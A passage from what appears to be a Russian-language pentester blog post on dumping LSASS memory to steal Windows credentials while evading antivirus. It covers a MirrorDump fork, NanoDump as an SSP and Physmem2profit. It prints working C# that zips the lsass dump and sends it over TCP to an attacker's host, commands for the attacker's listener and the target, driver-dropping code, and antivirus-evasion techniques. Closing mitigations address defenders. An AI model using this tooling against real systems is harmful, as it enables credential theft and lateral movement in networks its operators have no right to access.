• Использует проекты MiniHook и SharpDisasm для установки userland-хуков на вызовы внутренних API MiniDumpWriteDump для перенаправления потока байт результирующего слепка памяти lsass.exe в память исполняющего процесса. Таким образом у оператора появляется возможность отправить дамп памяти по сети и не сохранять его на диск скомпрометированного хоста.

В минусы этого способа безусловно входит то, что библиотека DLL псевдопровайдера аутентификации LSA должна быть сохранена на диск скомпрометированного хоста для возможности ее использования в API SpLsaModeInitialize, и которая, ко всему прочему, не может быть удалена после создания дампа без перезагрузки ПК.

Данный проект существует как Proof-of-Concept, который «из коробки» в конечном итоге все равно сохраняет дамп памяти на диск даже с учетом того, что генерация такого дампа проходит столь необычным образом. Поэтому я решил сделать свой форк, добавив две новые фичи:

1. Парсинг слепка прямо в памяти с помощью библиотеки MiniDump (работает не на всех версиях ОС Windows).

2. Возможность сжатия и отправки байт слепка памяти по TCP-каналу на машину атакующего, где парсинг может быть произведен силами сторонних инструментов (Mimikatz / Pypykatz).

Для первой фичи был добавлен флаг --parse, при наличии которого байты слепка передаются на EntryPoint MiniDump.

Cmd

C:>MirrorDump.exe --dllName LegitLSAPlugin1.dll --parse

Для второй фичи был написан вспомогательный скрипт на Python, содержащий тривиальный сокет-сервер, ожидающий «зиппованный» дамп. Скрипт также автоматически распакует прилетевший дамп, по желанию проверит контрольную сумму и распрасит его с помощью Pypykatz.

Cmd

~$ python3 MirrorDump.py 0.0.0.0 1337 --md5 --parse
C:>MirrorDump.exe --dllName LegitLSAPlugin1.dll --host 192.168.0.184 --port 1337

Отправка запакованного дампа также легко реализуется на нативном C# через метод SendZip.

static void SendZip(string host, int port, DumpContext dc)
{
    using (var outStream = new MemoryStream())
    {
        using (var archive = new ZipArchive(outStream, ZipArchiveMode.Create, true))
        {
            var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.bin");
            using (var entryStream = lsassDump.Open())
                using (var dumpCompressStream = new MemoryStream(dc.Data))
                    dumpCompressStream.CopyTo(entryStream);
        }

        byte[] compressedBytes = outStream.ToArray();

        Console.WriteLine($"[+] Minidump successfully packed in memory, size {Math.Round(compressedBytes.Length / 1024.0 / 1024.0, 2)} MB");

        byte[] zipHashBytes = MD5.Create().ComputeHash(compressedBytes);
        string zipHash = BitConverter.ToString(zipHashBytes).Replace("-", "");

        Console.WriteLine($"[*] MD5: {zipHash}");

        using (var tcpClient = new TcpClient(host, port))
        {
            using (var netStream = tcpClient.GetStream())
            {
                string hostName = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
                string zipSize = (compressedBytes.Length).ToString();
                byte[] stage = Encoding.ASCII.GetBytes($"{hostName}|{zipSize}");
                netStream.Write(stage, 0, stage.Length);
                netStream.Write(compressedBytes, 0, compressedBytes.Length);
            }
        }
    }
}

Также метод создания слепков lsass.exe с помощью MirrorDump был добавлен мной для использования вместе с lsassy.

К сожалению, недолго музыка играла и примерно полгода спустя «Касперский» начал блокировать создание дампов LSASS через данную технику на уровне поведенческого анализа, что заставило нас искать другой «непалящийся» способ извлечения кред на внутряках.

NanoDump

Нашим следующим «спасителем» стал инструмент NanoDump от компании-разработчика Cobalt Strike, который я без преувеличений считаю просто произведением искусства.

Его ключевые особенности:

• Использование системных вызовов (с их динамическим резолвом) с помощью SysWhispers2, что позволяет обходить userland-хуки Win32 API, которые вешает антивирусное ПО.

• Собственная реализация MiniDumpWriteDump через чтение памяти lsass.exe с помощью ZwReadVirtualMemory, что избавляет оператора от необходимости дергать потенциально подозрительную ручку API.

• Поддержка разных трюков и техник создания дампа (перечислены не все):

  • поиск уже открытых дескрипторов lsass.exe в других процессах [ссылка],

  • использование утекающего хэндла lsass.exe при вызове функции CreateProcessWithLogonW [ссылка],

  • загрузка NanoDump в виртуальную память lsass.exe в виде провайдера SSP [ссылка],

  • возможность снятия защиты PPL [ссылка].

• Намеренное повреждение сигнатуры дампа памяти с целью избегания детекта от AV на этапе его записи на диск.

• Компиляция в Beacon Object File (BOF) для выполнения NanoDump из памяти в случае, когда моделируемый злоумышленник обладает сессией «Кобальта» на скомпрометированном сетевом узле.

Для нас, как для пентестеров компаний преимущественно из ру-сегмента, наибольший интерес представляет техника загрузки NanoDump, скомпилированного в виде DLL, прямо в LSASS как SSP, то есть в виде псевдопровайдера аутентификации LSA. Исходя из нашего опыта, на данный момент это и есть слабое место «Касперского».

Для того, чтобы воспользоваться этой техникой без сессии Cobalt Strike, моделируемый злоумышленник должен принести на скомпрометированный узел 2 бинаря: загрузчик библиотеки SSP и, собственно, саму библиотеку SSP. Полагаю, что в скором времени оба они начнут детектиться по крайней мере на уровне сигнатурного анализа, поэтому воспользовавшись примером из этого ресерча от @ShitSecure мы напилили свой загрузчик NanoDump SSP из памяти с помощью кредла на PowerShell.

Намеренно не раскрываю исходник кредла (тем более, что в приведенной выше статье все есть), ибо надеюсь, что этот метод проживет хотя бы еще немного. Ну а в общем, смиренно ждем, когда и эта техника начнет «палиться» KES, чтобы начать искать новые ухищрения для дампа памяти LSASS…

Physmem2profit

Последним творением, которое мы сегодня рассмотрим, будет проект Physmem2profit от F-Secure LABS. Его подход к дампу LSASS отличается от остальных тем, что вместо того, чтобы сосредотачиваться на методах уклонения от хуков AV / EDR в userland, он использует драйвер WinPmem (часть форензик-проекта rekall) для получения доступа ко всей физической памяти целевого узла и ищет там область, соответствующую памяти процесса lsass.exe, через монтирование виртуальной ФС FUSE.

Покажем в действии, как заставить это чудо работать:

1. Для начала клонируем репозиторий проекта, рекурсивно разрешая зависимости в виде git-подмодулей.

2. Далее исправим версии библиотек acora и pycryptodome в зависимостях rekall-core, чтобы они дружили с актуальным Python 3.

3. Теперь можно запустить инсталлер, который накатит питонячую виртуальную среду и поставит все, что ему нужно.

Cmd

git clone --recursive https://github.com/FSecureLABS/physmem2profit
cd physmem2profit/client
sed -i 's/acora==2.1/acora/g' rekall/rekall-core/setup.py
sed -i 's/pycryptodome==3.4.7/pycryptodome/g' rekall/rekall-core/setup.py
bash install.sh
source .env/bin/activate

Следуя рекомендациям из этого issue, я скачал крайний релиз WinPmem (нам понадобится только файл kernel/binaries/winpmem_x64.sys) и обновил эти константы для изменившегося интерфейса взаимодействия с драйвером. Внесенные изменения можно посмотреть в моем форке проекта.

Также среди внесенных изменений — захардкоженный файл драйвера, который автоматически кладется в файловую систему «жертвы» перед установкой соответствующей службы и стирается после ее остановки и удаления:

static byte[] Decompress(byte[] data)
{
    MemoryStream input = new MemoryStream(data);
    MemoryStream output = new MemoryStream();
    using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress))
        dStream.CopyTo(output);

    return output.ToArray();
}

// ...

Program.Log("Installing service...");
var sysCompressed = Convert.FromBase64String("<WINPMEM_BYTES_BASE64>");
var sysRawBytes = Decompress(sysCompressed);
File.WriteAllBytes(pathToDriver, sysRawBytes);
OpenOrCreate(pathToDriver);
Program.Log("Service created successfully.", Program.LogMessageSeverity.Success);

// ...

CloseHandle(_hDevice);
Stop();
Delete();
File.Delete(Globals.pathToDriver);
Program.Log("Successfully unloaded the WinPMem driver.", Program.LogMessageSeverity.Success);

Смотрим, как всем этим пользоваться:

# Server-side
PS > .Physmem2profit.exe --ip <LHOST> --port <LPORT> [--verbose] [--hidden]

# Client-side
~$ python3 physmem2profit --host <RHOST> --port <RPORT> --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem

Чтобы не упускать преимуществ C#, на котором написана серверная часть, продемонстрируем возможность загрузки и выполнения сборки из памяти.

Вуаля, хеши из LSASS получены!

Противодействие

Вместо заключения приведу несколько рекомендаций, которые помогут свести к минимуму возможности для потенциального злоумышленника сдампить LSASS или извлечь из сделанного слепка значительную выгоду:

• Свести к минимуму доступ к любым сетевым узлам в домене с учетными данными пользователей, входящих в привилегированные доменные группы (Domain Admins, Enterprise Admins, Administrators и др.), а для администрирования серверов и рабочих станций использовать выделенные для данных целей УЗ с минимально необходимым набором привилегий (смотрим концепцию Tiered Access Model).

• Настроить механизм безопасности Remote Credential Guard для предотвращения сохранения аутентификационных данных пользователей при подключении к удаленным сетевым узлам по протоколу RDP для привилегированных УЗ.

• Использовать механизм Protected Process (PPL) для предотвращения потенциальной возможности доступа к памяти процесса lsass.exe.

• Использовать группу безопасности Windows «Защищенные пользователи» (Protected Users Security Group) и добавить в нее УЗ критически важных пользователей, например, администраторов домена (эта фича требует тестирования перед внедрением в прод, поэтому аккуратнее).

• Следовать рекомендациям производителя ОС для снижения риска проведения атак типа Pass-the-Hash.

Ну а пока извечная игра в кошки-мышки между пентестерами и вендорами антивирусного ПО продолжается, Happy hacking!